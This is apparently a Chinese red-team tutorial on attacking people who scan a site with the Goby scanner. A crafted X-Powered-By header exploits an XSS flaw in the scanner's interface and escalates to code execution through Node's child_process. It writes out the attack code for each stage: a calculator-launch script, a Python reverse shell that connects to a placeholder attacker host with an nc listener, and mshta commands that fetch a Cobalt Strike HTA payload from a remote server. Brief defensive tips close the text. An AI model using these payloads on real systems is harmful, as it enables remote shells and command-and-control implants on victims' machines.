红队攻防之Goby反杀
字数 1095 2025-08-24 20:49:22
Goby反杀技术详解
前言
网络安全的本质在于:懂进攻、知防守、先正向、后逆向。一名优秀的白帽子需要全面发展,不能有明显短板。
一、XSS弹窗攻击
攻击原理
利用Goby扫描器解析HTTP响应头时的XSS漏洞,通过修改X-Powered-By头注入恶意JavaScript代码。
实施步骤
-
搭建测试环境:
- 使用PhpStudy建站
- 配置为MySQL+Nginx服务
- 网站地址为
http://x.x.x.x
-
修改
index.php内容:
<?php
header("X-Powered-By: PHP/");
?>
- 攻击效果:
- Goby扫描到该网站后,PHP版本信息显示为XSS payload
- 点击扫描结果中的IP地址会触发弹窗
二、RCE攻击(弹计算器)
攻击原理
通过XSS漏洞加载外部JS文件,利用Node.js的child_process模块执行系统命令。
实施步骤
- 在网站
www目录下创建calc.js文件:
(function(){
require('child_process').exec('calc');
})()
- 修改
index.php内容:
<?php
header("X-Powered-By: PHP/");
?>
-
注意事项:
- Goby客户端Chrome会对同名JS文件进行缓存
- 测试时若修改JS内容无效,需同时修改文件名和内容
-
攻击效果:
- 点击扫描结果详细信息时,会在Goby所在主机上弹出计算器
三、反弹Shell攻击
攻击原理
通过JS执行Python反弹Shell命令,建立反向连接。
实施步骤
- 在网站
www目录下创建shell.js文件:
(function(){
require('child_process').exec('python -c \'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("x.x.x.x",xxx));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/bash","-i"]);\'');
})()
- 在攻击者主机上开启监听:
nc -lvp xxx
- 修改
index.php内容:
<?php
header("X-Powered-By: PHP/");
?>
- 攻击效果:
- 点击扫描结果详细信息时,会反弹Shell到攻击者主机
四、Cobalt Strike上线攻击
攻击原理
通过JS执行系统命令加载CS生成的恶意HTA文件。
实施步骤
-
准备阶段:
- 使用CS生成VBA或PowerShell的HTA程序
- 将恶意HTA文件(
evil.hta)放置在公网服务器上
-
方法一:直接加载HTA
- 创建
1.js文件:
- 创建
(function(){
require('child_process').exec('mshta http://x.x.x.x/evil.hta');
})();
- 方法二:通过文件下载加载
- 修改JS内容:
(function(){
require('child_process').exec('mshta http://x.x.x.x/download/file.ext');
})();
- 修改
index.php内容:
<?php
header("X-Powered-By: PHP/");
?>
- 兼容性测试结果:
- CS生成VBA的HTA程序:Windows 10企业版可上线
- CS生成PowerShell的HTA程序:Windows 7企业版和Windows 10企业版均可上线
网络安全感悟
网络安全是一个需要长期坚持的领域:
- 没有终点,只有持续学习和进步
- 无论选择哪个方向,都需要坚持不懈
- 大浪淘沙,只有真正的热爱和坚持才能成为"金子"
- 专注做好一件事,在网络安全道路上持续深耕
防御建议
- 对扫描器进行安全加固,过滤恶意HTTP头
- 限制JS文件的执行权限
- 及时更新扫描器版本,修复已知漏洞
- 在沙箱环境中运行扫描任务
- 监控扫描器的异常行为,如对外网络连接